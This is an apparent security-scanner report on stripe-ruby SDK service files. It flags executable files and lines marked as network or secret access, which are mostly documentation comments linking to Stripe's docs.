packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/personalization_design_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/physical_bundle_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/token_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing/transaction_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/issuing_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/mandate_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/oauth_service.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 54
    raise AuthenticationError, "No client_id provided. (HINT: set your client_id when configuring "                                   "your StripeClient: \"Stripe::StripeClient.new(..., client_id: <CLIENT_ID>)\"). "                             
  • Network accessline 55
    "your StripeClient: \"Stripe::StripeClient.new(..., client_id: <CLIENT_ID>)\"). " \                                  "You can find your client_ids in your Stripe dashboard at " \                                  "https://dashboard.stripe.co
  • Network accessline 56
    "You can find your client_ids in your Stripe dashboard at " \                                  "https://dashboard.stripe.com/account/applications/settings, " \                                  "after registering your account as a platform. 
  • Network accessline 57
    "https://dashboard.stripe.com/account/applications/settings, " \
  • Network accessline 58
    "after registering your account as a platform. See " \                                  "https://stripe.com/docs/connect/standalone-accounts for details, " \                                  "or email support@stripe.com if you have any ques
  • Network accessline 59
    "https://stripe.com/docs/connect/standalone-accounts for details, " \

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_attempt_record_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_intent_amount_details_line_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_intent_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 24
    # You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing.
  • Network accessline 26
    # After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re
  • Network accessline 28
    # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.
  • Network accessline 41
    # Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation.     #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 43
    # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 65
    #     # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 66
    # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)     # and the PaymentIntent's [client_secret](https://docs.stripe
  • Network accessline 67
    # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 68
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 94
    # Creates a PaymentIntent object.     #     # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 95
    #     # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)     # to continue the payment. Learn more about <a href="/docs/payments/payment-intents">the availab
  • Network accessline 96
    # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 100
    # When you use confirm=true during creation, it's equivalent to creating     # and confirming the PaymentIntent in the same call. You can use any parameters     # available in the [confirm API](https://docs.stripe.com/docs/api/payment_inten
  • Network accessline 101
    # and confirming the PaymentIntent in the same call. You can use any parameters     # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply     # confirm=true.
  • Network accessline 102
    # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply
  • Network accessline 114
    # Perform an incremental authorization on an eligible     # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 115
    # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 116
    # PaymentIntent's status must be requires_capture and     # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)     # m
  • Network accessline 117
    # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)
  • Network accessline 126
    # If the incremental authorization succeeds, the PaymentIntent object     # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 127
    # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).     # If the incremental authorization fails, a
  • Network accessline 128
    # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 129
    # If the incremental authorization fails, a     # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other     # fields on the PaymentIntent or Charge update. The PaymentIntent
  • Network accessline 130
    # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other
  • Network accessline 135
    # After it's captured, a PaymentIntent can no longer be incremented.     #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 137
    # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 161
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Network accessline 163
    # If you retrieve a PaymentIntent with a publishable key, it only returns a subset of properties. Refer to the [payment intent](https://docs.stripe.com/api#payment_intent_object) object reference for more details.
  • Network accessline 174
    # Search for PaymentIntents you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
  • Network accessline 192
    # always requires you to confirm the PaymentIntent again. If you prefer to     # update and confirm at the same time, we recommend updating properties through     # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 194
    # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_link_line_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_link_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_method_configuration_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_method_domain_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 53
    # To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint.     #     # Related guides: [Payme
  • Network accessline 55
    # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_method_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Attaches a PaymentMethod object to a Customer.     #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 7
    #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)     # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap
  • Network accessline 8
    # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 9
    # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage).
  • Network accessline 11
    # endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for     # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for fut
  • Network accessline 12
    # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up     # futu
  • Network accessline 13
    # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up
  • Network accessline 15
    #     # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me
  • Network accessline 16
    # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 17
    # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 29
    # Creates a PaymentMethod object. Read the [Stripe.js reference](https://docs.stripe.com/docs/stripe-js/reference#stripe-create-payment-method) to learn how to create PaymentMethods via Stripe.js.
  • Network accessline 31
    # Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-payment) A
  • Network accessline 64
    # Retrieves a PaymentMethod object attached to the StripeAccount. To retrieve a payment method attached to a Customer, you should use [Retrieve a Customer's PaymentMethods](https://docs.stripe.com/docs/api/payment_methods/customer)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payment_record_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/payout_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    # To send funds to your own bank account, create a new payout object. Your [Stripe balance](https://docs.stripe.com/api#balance) must cover the payout amount. If it doesn't, you receive an “Insufficient Funds” error.
  • Network accessline 19
    # If your API key is in test mode, money won't actually be sent, though every other action occurs as if you're in live mode.     #     # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to 
  • Network accessline 21
    # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) details av

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/plan_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/price_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time.
  • Network accessline 11
    # Returns a list of your active prices, excluding [inline prices](https://docs.stripe.com/docs/products-prices/pricing-models#inline-pricing). For the list of inactive prices, set active to false.
  • Network accessline 27
    # Search for prices you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/product_feature_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/product_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 45
    # Search for products you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/promotion_code_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 28
    # Retrieves the promotion code with the given ID. In order to retrieve a promotion code by the customer-facing code use [list](https://docs.stripe.com/docs/api/promotion_codes/list) with the desired code.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/quote_computed_upfront_line_items_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/quote_line_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/quote_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 36
    # A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the [quote template](https://dashboard.stripe.com/settings/billing/quote).
  • Network accessline 57
    # Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/radar/early_fraud_warning_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # Retrieves the details of an early fraud warning that has previously been created.       #       # Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details.
  • Network accessline 20
    # Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/radar/value_list_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/radar/value_list_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/radar_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/refund_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/reporting/report_run_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/reporting/report_type_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # Retrieves the details of a Report Type. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/reporting_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/review_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/setup_attempt_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/setup_intent_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action.     #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit
  • Network accessline 8
    # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex
  • Network accessline 43
    # Creates a SetupIntent object.     #     # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)
  • Network accessline 44
    #     # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)     # it to collect any required permissions to charge the payment method later.
  • Network accessline 45
    # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)
  • Network accessline 70
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 72
    # When retrieved with a publishable key, only a subset of properties will be returned. Please refer to the [SetupIntent](https://docs.stripe.com/api#setup_intent_object) object reference for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/shipping_rate_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/sigma/scheduled_query_run_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/sigma_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/source_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 40
    # Updates the specified source by setting the values of the parameters passed. Any parameters not provided will be left unchanged.     #     # This request accepts the metadata and owner as arguments. It is also possible to update type spec
  • Network accessline 42
    # This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for more det

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/source_transaction_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/subscription_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/subscription_schedule_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/subscription_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata).
  • Network accessline 7
    #     # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, 
  • Network accessline 8
    # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe
  • Network accessline 24
    # The payment_behavior parameter determines the exact behavior of the initial payment.     #     # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/bil
  • Network accessline 25
    #     # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead.     # Schedules provide the fl
  • Network accessline 26
    # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead.
  • Network accessline 93
    # Search for subscriptions you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
  • Network accessline 107
    # Updates an existing subscription to match the specified parameters.     # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes.     # To preview how the proration is cal
  • Network accessline 108
    # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes.     # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoice
  • Network accessline 109
    # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoices/create_preview) endpoint.
  • Network accessline 119
    #     #     # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscriptio
  • Network accessline 120
    #     # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription chan
  • Network accessline 121
    # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription changes](h
  • Network accessline 122
    #     # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create
  • Network accessline 123
    # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create_prora
  • Network accessline 125
    # If you don't want to prorate, set the proration_behavior option to none. With this option, the customer is billed 100 on May 1 and 200 on June 1. Similarly, if you set proration_behavior to none when switching between different billing in
  • Network accessline 127
    # Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based billing

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/association_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/calculation_line_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/calculation_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/registration_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/settings_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/transaction_line_item_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax/transaction_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax_code_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax_id_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax_rate_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/tax_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/configuration_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/connection_token_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/location_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Creates a new Location object.       # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.
  • Network accessline 8
    # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/onboarding_link_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal/reader_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details.
  • Network accessline 18
    # Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers.
  • Network accessline 29
    # Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s
  • Network accessline 40
    # Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details.
  • Network accessline 84
    # Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details.
  • Network accessline 95
    # Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details.
  • Network accessline 106
    # Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details.
  • Network accessline 128
    # Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/terminal_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/confirmation_token_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/customer_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/authorization_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/card_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/personalization_design_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/transaction_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/refund_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/terminal/reader_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/terminal_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/test_clock_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/inbound_transfer_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/outbound_payment_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/outbound_transfer_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/received_credit_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/received_debit_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/test_helpers_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/token_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Creates a single-use token that represents a bank account's details.     # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account]
  • Network accessline 7
    # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account](https://docs.stripe.com/api#accounts) where [controller.requirement_collec

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/topup_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/transfer_reversal_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/transfer_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll receive an “Insufficient Fund

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/credit_reversal_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/debit_reversal_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/financial_account_features_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/financial_account_service.rb

  • Executable scriptline 1
    Executable file

